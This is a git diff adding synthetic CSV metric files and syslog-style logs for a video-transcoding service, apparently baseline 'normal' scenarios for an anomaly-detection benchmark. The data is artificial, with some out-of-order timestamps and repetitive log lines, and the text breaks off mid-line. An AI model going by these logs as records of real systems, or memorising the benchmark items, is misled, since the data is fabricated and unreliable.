transcoding-worker[7890]: INFO: Starting transcoding job #789 for 'family_vacation_4k.mov'. +Aug 27 10:00:45 transcoding-worker[7890]: INFO: FFmpeg process started for job #789. +Aug 27 10:01:00 web-app[3456]: GET /api/v1/user/42 status=200 OK +Aug 27 10:01:15 systemd[1]: Starting daily health check... +Aug 27 10:02:05 transcoding-worker[7890]: INFO: Transcoding 'family_vacation_4k.mov' to 1080p successful. +Aug 27 10:02:30 kubelet[2345]: INFO: Liveness probe for pod 'transcoding-worker-xyz' succeeded. +Aug 27 10:02:50 web-app[3456]: GET /api/v1/status status=200 OK +Aug 27 10:03:30 transcoding-worker[7890]: INFO: Transcoding 'family_vacation_4k.mov' to 720p successful. +Aug 27 10:04:10 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:04:50 transcoding-worker[7890]: INFO: Transcoding 'family_vacation_4k.mov' to 480p successful. +Aug 27 10:04:25 web-app[3456]: GET /api/v1/status status=200 OK +Aug 27 10:05:25 kubelet[2345]: INFO: Liveness probe for pod 'transcoding-worker-xyz' succeeded. +Aug 27 10:06:15 transcoding-worker[7890]: INFO: All transcoding tasks for job #789 completed successfully. +Aug 27 10:05:55 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 27 10:06:20 transcoding-worker[7890]: INFO: Job #789 finished. Worker is now idle. +Aug 27 10:07:05 systemd[1]: Daily health check finished. +Aug 27 10:06:40 web-app[3456]: GET /api/v1/status status=200 OK +Aug 27 10:07:30 web-app[3456]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_12/norm_12_23.csv b/norm_dataset/scenario_12/norm_12_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..dbcc5a4d598370080ee921a47ae0371de9ba82c9 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,15.99,40.29,28.13,0.87,1.21 +2025-08-27T10:00:05Z,14.72,42.91,20.71,1.13,0.58 +2025-08-27T10:00:10Z,16.3,37.89,19.65,1.0,0.58 +2025-08-27T10:00:15Z,18.05,39.02,27.41,1.36,1.49 +2025-08-27T10:00:20Z,14.53,38.82,23.88,1.16,0.87 +2025-08-27T10:00:25Z,14.53,35.61,28.57,0.66,0.87 +2025-08-27T10:00:30Z,18.16,40.89,27.37,0.57,1.31 +2025-08-27T10:00:35Z,16.53,40.78,24.64,1.14,1.45 +2025-08-27T10:00:40Z,14.06,40.02,20.77,0.53,1.49 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+2025-08-27T10:07:25Z,16.03,48.16,25.65,1.32,0.77 diff --git a/norm_dataset/scenario_12/norm_12_23.log b/norm_dataset/scenario_12/norm_12_23.log new file mode 100644 index 0000000000000000000000000000000000000000..1f259453baeb64dfc98a1929fd2859b75adb0b8c --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_23.log @@ -0,0 +1,20 @@ +Aug 27 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:20 web-app[2233]: GET /api/v1/user/64 status=200 OK +Aug 27 10:00:45 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:01:10 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:30 auth-service[3344]: INFO User authentication successful for session 1517 +Aug 27 10:01:55 systemd[1]: Starting daily clean up activities... +Aug 27 10:02:20 web-app[2233]: GET /api/v1/user/90 status=200 OK +Aug 27 10:02:40 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:03:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:03:30 auth-service[3344]: INFO User authentication successful for session 1708 +Aug 27 10:03:50 systemd[1]: Starting daily clean up activities... +Aug 27 10:04:15 web-app[2233]: GET /api/v1/user/14 status=200 OK +Aug 27 10:04:40 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:05:00 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:05:25 auth-service[3344]: INFO User authentication successful for session 1869 +Aug 27 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:10 web-app[2233]: GET /api/v1/user/12 status=200 OK +Aug 27 10:06:35 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Aug 27 10:07:00 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:07:25 auth-service[3344]: INFO User authentication successful for session 1436 diff --git a/norm_dataset/scenario_12/norm_12_24.csv b/norm_dataset/scenario_12/norm_12_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..73d5124bc8bb700f9ce3644529d5bae875ee199f --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,10.38,34.93,15.73,0.95,0.65 +2025-07-15T14:00:05Z,9.99,33.13,11.47,1.21,1.08 +2025-07-15T14:00:10Z,6.71,31.97,15.95,1.26,1.21 +2025-07-15T14:00:15Z,5.88,34.72,15.30,1.18,1.30 +2025-07-15T14:00:20Z,7.58,32.53,6.55,0.67,0.97 +2025-07-15T14:00:25Z,10.11,33.91,5.25,0.53,0.68 +2025-07-15T14:00:30Z,9.82,28.86,17.78,0.55,0.59 +2025-07-15T14:00:35Z,12.19,30.25,10.31,0.99,0.64 +2025-07-15T14:00:40Z,12.96,26.91,19.77,0.84,1.19 +2025-07-15T14:00:45Z,8.41,30.27,15.16,1.01,1.26 +2025-07-15T14:00:50Z,13.94,26.64,13.21,1.03,0.76 +2025-07-15T14:00:55Z,11.70,32.88,5.96,0.95,1.05 +2025-07-15T14:01:00Z,8.32,27.59,12.62,1.08,1.12 +2025-07-15T14:01:05Z,10.47,25.69,5.94,1.06,1.05 +2025-07-15T14:01:10Z,7.30,28.91,11.36,0.58,0.58 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b/norm_dataset/scenario_12/norm_12_24.log @@ -0,0 +1,16 @@ +Jul 15 14:00:10 systemd[1]: Starting daily health check... +Jul 15 14:00:40 api-server[2041]: GET /api/v1/status status=200 OK +Jul 15 14:01:05 api-server[2041]: INFO: Received new video upload 'wedding_final.mp4'. +Jul 15 14:01:10 task-queue[887]: INFO: Queueing transcoding for 'wedding_final.mp4'. JobID: #555 +Jul 15 14:01:15 worker[15321]: INFO: Starting transcoding job #555 for 'wedding_final.mp4'. +Jul 15 14:01:20 worker[15321]: INFO: FFmpeg process started for job #555. Reading source file. +Jul 15 14:02:05 worker[15321]: INFO: Job #555: Transcoding to 1080p successful. +Jul 15 14:02:15 systemd[1]: Starting session cleanup... +Jul 15 14:03:20 worker[15321]: INFO: Job #555: Transcoding to 720p successful. +Jul 15 14:04:35 worker[15321]: INFO: Job #555: Transcoding to 480p successful. +Jul 15 14:05:50 worker[15321]: INFO: FFmpeg process for job #555 finished. +Jul 15 14:05:55 worker[15321]: INFO: Transcoding job #555 for 'wedding_final.mp4' completed successfully. +Jul 15 14:06:00 task-queue[887]: INFO: Job #555 marked as 'COMPLETED'. +Jul 15 14:06:05 api-server[2041]: INFO: Notifying user of successful transcode for 'wedding_final.mp4'. +Jul 15 14:06:40 api-server[2041]: GET /api/v1/status status=200 OK +Jul 15 14:07:05 systemd[1]: Daily health check finished. diff --git a/norm_dataset/scenario_12/norm_12_25.csv b/norm_dataset/scenario_12/norm_12_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..5aec4e37ba3fcf90f7e9d3c2b521d987ef186b20 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,10.73,41.29,31.97,1.21,0.87 +2025-08-27T10:00:05Z,17.08,36.3,22.73,1.01,0.84 +2025-08-27T10:00:10Z,15.19,37.56,29.48,1.25,0.96 +2025-08-27T10:00:15Z,13.88,38.0,29.5,1.38,0.79 +2025-08-27T10:00:20Z,9.11,38.26,35.68,0.69,0.9 +2025-08-27T10:00:25Z,12.98,42.0,29.74,1.48,0.46 +2025-08-27T10:00:30Z,17.39,38.01,32.71,1.32,0.92 +2025-08-27T10:00:35Z,15.26,43.23,36.09,1.22,0.99 +2025-08-27T10:00:40Z,17.64,46.01,34.69,1.12,0.9 +2025-08-27T10:00:45Z,12.62,41.28,25.35,1.1,0.61 +2025-08-27T10:00:50Z,16.07,42.42,27.12,1.19,1.04 +2025-08-27T10:00:55Z,11.13,40.73,36.02,1.7,1.06 +2025-08-27T10:01:00Z,12.86,38.14,32.56,0.74,0.76 +2025-08-27T10:01:05Z,18.22,39.91,31.54,0.35,0.78 +2025-08-27T10:01:10Z,12.56,37.94,32.94,1.12,0.83 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mode 100644 index 0000000000000000000000000000000000000000..1f8e5d34609ccdf92e20e2c62e8a63d33d11f876 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_25.log @@ -0,0 +1,18 @@ +Aug 27 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:50 api-gateway[8080]: GET /health status=200 OK +Aug 27 10:01:50 transcode-service[3001]: INFO: Received new video upload 'wedding_final.mp4'. +Aug 27 10:01:55 transcode-service[3001]: INFO: File size: 1.2GB. Queueing for transcoding. +Aug 27 10:02:05 transcode-worker[5512]: INFO: Starting transcoding job #555 for 'wedding_final.mp4'. +Aug 27 10:02:10 transcode-worker[5512]: INFO: FFmpeg process started. Reading source file. +Aug 27 10:02:30 kubelet[2345]: INFO: Liveness probe succeeded for pod transcode-worker-xyz +Aug 27 10:03:45 transcode-worker[5512]: INFO: Transcoding to 1080p successful. +Aug 27 10:03:50 transcode-worker[5512]: INFO: Starting 720p stream. +Aug 27 10:04:10 api-gateway[8080]: GET /health status=200 OK +Aug 27 10:05:25 transcode-worker[5512]: INFO: Transcoding to 720p successful. +Aug 27 10:05:30 transcode-worker[5512]: INFO: Starting 480p stream. +Aug 27 10:05:50 kubelet[2345]: INFO: Liveness probe succeeded for pod transcode-worker-xyz +Aug 27 10:06:15 transcode-worker[5512]: INFO: Transcoding to 480p successful. +Aug 27 10:06:20 transcode-worker[5512]: INFO: All streams completed for job #555. +Aug 27 10:06:25 transcode-service[3001]: INFO: Notifying user of successful transcoding for 'wedding_final.mp4'. +Aug 27 10:06:50 api-gateway[8080]: GET /health status=200 OK +Aug 27 10:07:20 systemd[1]: Finished daily clean up activities. diff --git a/norm_dataset/scenario_12/norm_12_26.csv b/norm_dataset/scenario_12/norm_12_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..a690ab055092a1bc8c0a989a919f6de301cfaf12 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,10.41,33.99,11.53,0.87,0.58 +2025-08-27T10:00:05Z,10.03,34.84,9.5,0.66,0.68 +2025-08-27T10:00:10Z,9.11,39.8,8.09,1.04,0.91 +2025-08-27T10:00:15Z,13.49,36.33,12.37,0.97,1.31 +2025-08-27T10:00:20Z,9.99,39.85,11.48,0.65,1.45 +2025-08-27T10:00:25Z,7.57,36.63,8.58,1.45,0.9 +2025-08-27T10:00:30Z,9.43,37.65,7.19,77.25,1.11 +2025-08-27T10:00:35Z,12.6,39.06,9.7,89.98,1.37 +2025-08-27T10:00:40Z,11.21,39.71,8.45,74.86,0.56 +2025-08-27T10:00:45Z,67.42,44.54,128.94,80.78,0.62 +2025-08-27T10:00:50Z,70.86,38.71,132.23,0.98,1.29 +2025-08-27T10:00:55Z,68.71,47.92,100.95,0.96,0.61 +2025-08-27T10:01:00Z,69.28,41.44,135.35,1.37,1.34 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a/norm_dataset/scenario_12/norm_12_26.log b/norm_dataset/scenario_12/norm_12_26.log new file mode 100644 index 0000000000000000000000000000000000000000..272ebf2348ff9a4d1ddfe0332c7778f674fbdf24 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_26.log @@ -0,0 +1,19 @@ +Aug 27 10:00:05 systemd[1]: Starting daily user clean up activities... +Aug 27 10:00:15 webapp-api[3456]: GET /api/v1/status status=200 OK +Aug 27 10:00:35 webapp-api[3456]: INFO: Received new video upload 'wedding_highlights_final.mov'. Queueing for transcoding. +Aug 27 10:00:40 transcode-queue[808]: INFO: New job #882 added to queue for 'wedding_highlights_final.mov'. +Aug 27 10:00:45 transcode-worker[1255]: INFO: Starting transcoding job #882 for 'wedding_highlights_final.mov'. +Aug 27 10:00:50 transcode-worker[1255]: INFO: [Job #882] FFmpeg process started. Source: /uploads/wedding_highlights_final.mov +Aug 27 10:01:30 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:05 webapp-api[3456]: GET /api/v1/user/45 status=200 OK +Aug 27 10:02:30 transcode-worker[1255]: INFO: [Job #882] Transcoding to 1080p successful. +Aug 27 10:03:30 kubelet[2345]: INFO: Liveness probe succeeded for pod transcode-worker-s8f9d +Aug 27 10:04:20 transcode-worker[1255]: INFO: [Job #882] Transcoding to 720p successful. +Aug 27 10:05:00 systemd[1]: Starting daily package update check... +Aug 27 10:05:35 webapp-api[3456]: GET /api/v1/user/99 status=200 OK +Aug 27 10:06:10 transcode-worker[1255]: INFO: [Job #882] Transcoding to 480p successful. +Aug 27 10:06:25 transcode-worker[1255]: INFO: [Job #882] All transcodes complete. Moving files to permanent storage at s3://videos/processed/. +Aug 27 10:06:40 transcode-worker[1255]: INFO: [Job #882] Transcoding job finished successfully in 355 seconds. +Aug 27 10:06:55 webapp-api[3456]: GET /api/v1/status status=200 OK +Aug 27 10:07:10 kubelet[2345]: INFO: Liveness probe succeeded for pod webapp-api-a4b3c +Aug 27 10:07:25 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_12/norm_12_27.csv b/norm_dataset/scenario_12/norm_12_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..19b999a516101d4dd31446bedb4479f0a84f2892 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,10.38,44.93,12.15,0.95,0.65 +2025-08-27T10:00:05Z,9.99,43.13,9.31,1.21,1.08 +2025-08-27T10:00:10Z,6.71,41.97,12.3,1.26,1.21 +2025-08-27T10:00:15Z,5.88,44.72,11.87,1.18,1.3 +2025-08-27T10:00:20Z,7.58,42.53,6.03,0.67,0.97 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+2025-08-27T10:06:55Z,5.83,39.63,14.61,0.76,0.69 +2025-08-27T10:07:00Z,13.32,42.37,7.9,0.74,0.99 +2025-08-27T10:07:05Z,13.24,44.07,5.0,0.61,1.12 +2025-08-27T10:07:10Z,6.93,38.26,11.01,1.38,1.26 +2025-08-27T10:07:15Z,13.63,43.02,13.6,0.79,0.52 +2025-08-27T10:07:20Z,9.56,40.73,11.86,1.16,0.96 +2025-08-27T10:07:25Z,7.51,41.13,14.51,1.0,1.26 diff --git a/norm_dataset/scenario_12/norm_12_27.log b/norm_dataset/scenario_12/norm_12_27.log new file mode 100644 index 0000000000000000000000000000000000000000..830a8b824c99f47d8fad29170ca63f2e6b458912 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_27.log @@ -0,0 +1,20 @@ +Aug 27 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 27 10:00:25 web-app[3456]: GET /api/v1/status status=200 OK +Aug 27 10:01:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:15 web-app[3456]: GET /api/v1/user/45 status=200 OK +Aug 27 10:01:30 upload-service[4567]: INFO: Received new video upload 'family_vacation.mov'. Size: 512MB. +Aug 27 10:01:35 task-queue[1122]: INFO: New job received. Queueing for transcoding. +Aug 27 10:01:40 worker[5566]: INFO: Starting transcoding job #789 for 'family_vacation.mov'. +Aug 27 10:01:45 worker[5566]: INFO: FFmpeg process started. Command: ffmpeg -i /uploads/family_vacation.mov ... +Aug 27 10:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod worker-pod-axc3f +Aug 27 10:02:55 worker[5566]: DEBUG: Transcoding progress: 25%. +Aug 27 10:03:45 worker[5566]: INFO: Transcoding to 1080p successful. +Aug 27 10:04:10 worker[5566]: DEBUG: Transcoding progress: 50%. +Aug 27 10:05:00 worker[5566]: INFO: Transcoding to 720p successful. +Aug 27 10:05:25 worker[5566]: DEBUG: Transcoding progress: 75%. +Aug 27 10:05:40 worker[5566]: INFO: Transcoding to 480p successful. +Aug 27 10:05:50 worker[5566]: INFO: All transcodes for job #789 complete. Total time: 250s. +Aug 27 10:05:55 task-queue[1122]: INFO: Job #789 completed successfully. +Aug 27 10:06:00 web-app[3456]: INFO: Sending completion notification to user 45. +Aug 27 10:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod worker-pod-axc3f +Aug 27 10:07:05 web-app[3456]: GET /api/v1/user/45/videos status=200 OK diff --git a/norm_dataset/scenario_12/norm_12_28.csv b/norm_dataset/scenario_12/norm_12_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..d056fe612e766d2484e5ff92e45f9d6958541f29 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,12.16,41.93,10.79,1.51,0.97 +2025-08-15T10:00:05Z,16.39,34.36,7.09,1.37,0.94 +2025-08-15T10:00:10Z,15.12,36.18,9.79,1.54,1.06 +2025-08-15T10:00:15Z,14.25,36.75,9.8,1.62,0.89 +2025-08-15T10:00:20Z,11.07,37.05,12.27,1.16,1.0 +2025-08-15T10:00:25Z,13.65,42.57,9.89,1.69,0.56 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+2025-08-15T10:07:10Z,14.97,40.69,9.31,1.73,0.99 +2025-08-15T10:07:15Z,17.03,42.24,13.16,1.53,1.04 +2025-08-15T10:07:20Z,15.17,39.73,8.99,1.8,0.65 +2025-08-15T10:07:25Z,16.67,43.55,9.0,1.62,1.14 diff --git a/norm_dataset/scenario_12/norm_12_28.log b/norm_dataset/scenario_12/norm_12_28.log new file mode 100644 index 0000000000000000000000000000000000000000..ce0eb23d2eb836f8d0f11416e2187c15076e4021 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_28.log @@ -0,0 +1,15 @@ +Aug 15 10:00:10 systemd[1]: Starting daily user cleanup... +Aug 15 10:00:50 web-server[4567]: GET /status status=200 OK +Aug 15 10:01:30 queue-service[8008]: INFO: Received new video upload 'family_vacation_4k.mov'. Queueing for transcoding. +Aug 15 10:01:40 transcoding-worker[9123]: INFO: Starting transcoding job #789 for 'family_vacation_4k.mov'. +Aug 15 10:01:50 transcoding-worker[9123]: INFO: FFmpeg process started with pid 9155. +Aug 15 10:02:05 kubelet[2345]: INFO: Liveness probe succeeded for pod transcoding-worker-xyz +Aug 15 10:02:55 transcoding-worker[9123]: INFO: Transcoding to 1080p successful. +Aug 15 10:03:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:04:10 transcoding-worker[9123]: INFO: Transcoding to 720p successful. +Aug 15 10:04:35 kubelet[2345]: INFO: Liveness probe succeeded for pod transcoding-worker-xyz +Aug 15 10:05:25 transcoding-worker[9123]: INFO: Transcoding to 480p successful. +Aug 15 10:05:50 transcoding-worker[9123]: INFO: All formats created for job #789. Uploading to storage bucket. +Aug 15 10:06:00 queue-service[8008]: INFO: Transcoding job #789 for 'family_vacation_4k.mov' completed successfully. +Aug 15 10:06:30 web-server[4567]: GET /videos/family_vacation_4k status=200 OK +Aug 15 10:07:05 systemd[1]: Daily user cleanup finished. diff --git a/norm_dataset/scenario_12/norm_12_29.csv b/norm_dataset/scenario_12/norm_12_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..c2bb42c33b74e206be4cb0b4c87d8fa6c02e5c09 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,11.290520507865947,22.307164156858438,5.602889067848212,0.5148259770866233,0.642869366712301 +2025-08-27T10:00:05Z,11.070584175965466,27.901946018921198,4.027470914346786,0.5656309440306574,0.6772016278488918 +2025-08-27T10:00:10Z,10.666181565550492,22.054203413117236,5.955397019650192,0.5459104668069209,0.6227484699997484 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0000000000000000000000000000000000000000..79e6e9444e625da058b1dfed73ee0eb005af5c10 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_29.log @@ -0,0 +1,17 @@ +Aug 27 10:00:00 systemd[1]: Starting daily network maintenance... +Aug 27 10:00:15 task-queue[1024]: INFO: Received new video upload 'wedding_final.mp4'. +Aug 27 10:00:25 task-queue[1024]: INFO: File size 2.8GB. Queueing for transcoding. +Aug 27 10:00:45 cron[4512]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:00:50 transcode-worker[3345]: INFO: Starting transcoding job #555 for 'wedding_final.mp4'. +Aug 27 10:00:55 transcode-worker[3345]: INFO: FFmpeg process started with PID 6789. +Aug 27 10:01:15 kubelet[2345]: INFO: Liveness probe succeeded for pod transcode-worker-pod +Aug 27 10:02:30 transcode-worker[3345]: INFO: Transcoding 'wedding_final.mp4' to 480p successful. +Aug 27 10:02:55 systemd[1]: Starting session c5 of user root. +Aug 27 10:04:10 transcode-worker[3345]: INFO: Transcoding 'wedding_final.mp4' to 720p successful. +Aug 27 10:04:35 kubelet[2345]: INFO: Liveness probe succeeded for pod transcode-worker-pod +Aug 27 10:06:15 transcode-worker[3345]: INFO: Transcoding 'wedding_final.mp4' to 1080p successful. +Aug 27 10:06:30 transcode-worker[3345]: INFO: Merging audio streams. +Aug 27 10:06:40 transcode-worker[3345]: INFO: Transcoding job #555 completed successfully in 350.2s. +Aug 27 10:06:50 task-queue[1024]: INFO: Notifying user of completed transcoding for 'wedding_final.mp4'. +Aug 27 10:07:05 systemd[1]: Finished daily network maintenance. +Aug 27 10:07:20 kubelet[2345]: INFO: Liveness probe succeeded for pod transcode-worker-pod diff --git a/norm_dataset/scenario_12/norm_12_3.csv b/norm_dataset/scenario_12/norm_12_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..9ef1323565404f2427ac442df006742f8194b4c6 --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:30:00Z,12.88,27.27,10.82,0.82,0.95 +2025-08-15T14:30:05Z,10.67,32.32,22.04,1.05,1.49 +2025-08-15T14:30:10Z,11.72,32.46,16.53,1.39,0.85 +2025-08-15T14:30:15Z,10.95,33.33,13.79,1.26,1.04 +2025-08-15T14:30:20Z,12.28,32.18,11.87,1.37,0.58 +2025-08-15T14:30:25Z,8.08,31.35,16.19,1.19,0.81 +2025-08-15T14:30:30Z,6.4,26.88,13.92,0.79,0.95 +2025-08-15T14:30:35Z,5.77,30.41,23.97,0.81,1.29 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+2025-08-15T14:37:20Z,6.29,34.14,20.75,1.17,1.0 +2025-08-15T14:37:25Z,14.6,33.18,14.77,0.91,1.45 diff --git a/norm_dataset/scenario_12/norm_12_3.log b/norm_dataset/scenario_12/norm_12_3.log new file mode 100644 index 0000000000000000000000000000000000000000..66775d5a17a0e79666c1d9e1bd27ca5ec8abdceb --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_3.log @@ -0,0 +1,22 @@ +Aug 15 14:30:00 systemd[1]: Starting daily clean up activities... +Aug 15 14:30:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 15 14:30:50 systemd[1]: Starting daily clean up activities... +Aug 15 14:31:00 web-app[3456]: INFO: Received new video upload 'wedding_final.mp4'. Queueing for transcoding. +Aug 15 14:31:10 transcoding-worker[7890]: INFO: Starting transcoding job #555 for 'wedding_final.mp4'. +Aug 15 14:31:15 transcoding-worker[7890]: INFO: FFmpeg process started with PID 18345. +Aug 15 14:31:15 web-app[3456]: GET /api/v1/status status=200 OK +Aug 15 14:31:40 systemd[1]: Starting daily clean up activities... +Aug 15 14:32:30 systemd[1]: Starting daily clean up activities... +Aug 15 14:32:30 web-app[3456]: GET /api/v1/status status=200 OK +Aug 15 14:32:55 transcoding-worker[7890]: INFO: Transcoding to 1080p successful. +Aug 15 14:33:20 systemd[1]: Starting daily clean up activities... +Aug 15 14:33:45 web-app[3456]: GET /api/v1/status status=200 OK +Aug 15 14:34:10 systemd[1]: Starting daily clean up activities... +Aug 15 14:34:35 transcoding-worker[7890]: INFO: Transcoding to 720p successful. +Aug 15 14:35:00 systemd[1]: Starting daily clean up activities... +Aug 15 14:35:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 15 14:35:50 systemd[1]: Starting daily clean up activities... +Aug 15 14:36:15 transcoding-worker[7890]: INFO: Transcoding to 480p successful. +Aug 15 14:36:15 web-app[3456]: GET /api/v1/status status=200 OK +Aug 15 14:36:30 transcoding-worker[7890]: INFO: Transcoding job #555 for 'wedding_final.mp4' completed successfully. +Aug 15 14:36:40 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_12/norm_12_30.csv b/norm_dataset/scenario_12/norm_12_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..02b7c6c1a375bd2186ac98eb9b20ff395e5c54bf --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,10.41,38.28,6.19,1.83,0.82 +2025-07-15T10:00:05Z,10.03,40.27,5.4,1.56,0.91 +2025-07-15T10:00:10Z,9.11,38.53,4.97,43.17,0.93 +2025-07-15T10:00:15Z,13.49,38.61,4.31,50.11,1.25 +2025-07-15T10:00:20Z,9.99,41.28,5.47,54.17,0.95 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+2025-07-15T10:07:05Z,10.11,39.78,5.36,1.49,1.06 +2025-07-15T10:07:10Z,9.69,38.15,2.86,1.3,1.46 +2025-07-15T10:07:15Z,11.85,38.56,5.1,1.56,0.73 +2025-07-15T10:07:20Z,13.88,40.95,6.97,1.4,1.22 +2025-07-15T10:07:25Z,13.36,43.54,4.94,1.35,1.25 diff --git a/norm_dataset/scenario_12/norm_12_30.log b/norm_dataset/scenario_12/norm_12_30.log new file mode 100644 index 0000000000000000000000000000000000000000..99964eea4b19d57643806df11fa767489200c45b --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_30.log @@ -0,0 +1,20 @@ +Jul 15 10:00:05 INFO api-gateway[2331]: Received new video upload 'family_vacation.mov' from user 'john_doe'. +Jul 15 10:00:15 INFO upload-service[1121]: Stored 'family_vacation.mov' in temporary storage. +Jul 15 10:00:25 INFO queue-manager[554]: Queuing transcoding job for 'family_vacation.mov'. +Jul 15 10:00:50 INFO transcoding-worker[8891]: Received new transcoding job #778 for 'family_vacation.mov'. +Jul 15 10:01:05 INFO transcoding-worker[8891]: Starting transcoding job #778 for 'family_vacation.mov'. +Jul 15 10:01:10 INFO transcoding-worker[8891]: FFmpeg process started for 'family_vacation.mov'. +Jul 15 10:01:30 INFO systemd[1]: Starting daily clean up activities... +Jul 15 10:02:05 INFO transcoding-worker[8891]: Transcoding 'family_vacation.mov' to 1080p... +Jul 15 10:02:55 INFO transcoding-worker[8891]: Transcoding to 1080p successful. +Jul 15 10:03:00 INFO transcoding-worker[8891]: Transcoding 'family_vacation.mov' to 720p... +Jul 15 10:04:00 INFO transcoding-worker[8891]: Transcoding to 720p successful. +Jul 15 10:04:10 INFO CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:04:20 INFO transcoding-worker[8891]: Transcoding 'family_vacation.mov' to 480p... +Jul 15 10:05:25 INFO transcoding-worker[8891]: Transcoding to 480p successful. +Jul 15 10:05:40 INFO transcoding-worker[8891]: All transcoding tasks for job #778 completed. +Jul 15 10:05:50 INFO transcoding-worker[8891]: Moving transcoded files to permanent storage. +Jul 15 10:06:05 INFO storage-manager[432]: Received 3 new files for 'family_vacation.mov'. +Jul 15 10:06:15 INFO transcoding-worker[8891]: Job #778 finished successfully. +Jul 15 10:06:40 INFO queue-manager[554]: Job #778 marked as completed. +Jul 15 10:07:05 INFO api-gateway[2331]: Notifying user 'john_doe' that transcoding is complete. diff --git a/norm_dataset/scenario_12/norm_12_4.csv b/norm_dataset/scenario_12/norm_12_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..ec6f598521992085351ba0cc63b803832691294d --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T14:00:00Z,11.15,23.36,3.22,0.43,0.19 +2025-08-21T14:00:05Z,10.27,26.39,6.21,0.52,0.3 +2025-08-21T14:00:10Z,10.69,26.48,4.74,26.61,0.17 +2025-08-21T14:00:15Z,11.33,23.51,6.04,27.69,0.25 +2025-08-21T14:00:20Z,78.81,50.31,70.49,0.42,1.37 +2025-08-21T14:00:25Z,82.28,46.68,77.42,0.48,1.91 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+2025-08-21T14:07:10Z,8.39,25.67,5.95,0.55,0.17 +2025-08-21T14:07:15Z,10.82,22.59,5.58,0.41,0.13 +2025-08-21T14:07:20Z,11.86,25.19,6.29,0.42,0.28 +2025-08-21T14:07:25Z,11.91,25.69,4.03,0.59,0.19 diff --git a/norm_dataset/scenario_12/norm_12_4.log b/norm_dataset/scenario_12/norm_12_4.log new file mode 100644 index 0000000000000000000000000000000000000000..7985ed3e38dea51a14f63edfc6efa3b84748053a --- /dev/null +++ b/norm_dataset/scenario_12/norm_12_4.log @@ -0,0 +1,35 @@ +Aug 21 14:00:00 queue-service[4101]: INFO Monitoring job queue. +Aug 21 14:00:10 web-app[8801]: INFO: Received new video upload 'family_vacation_2025.mov'. Queueing for 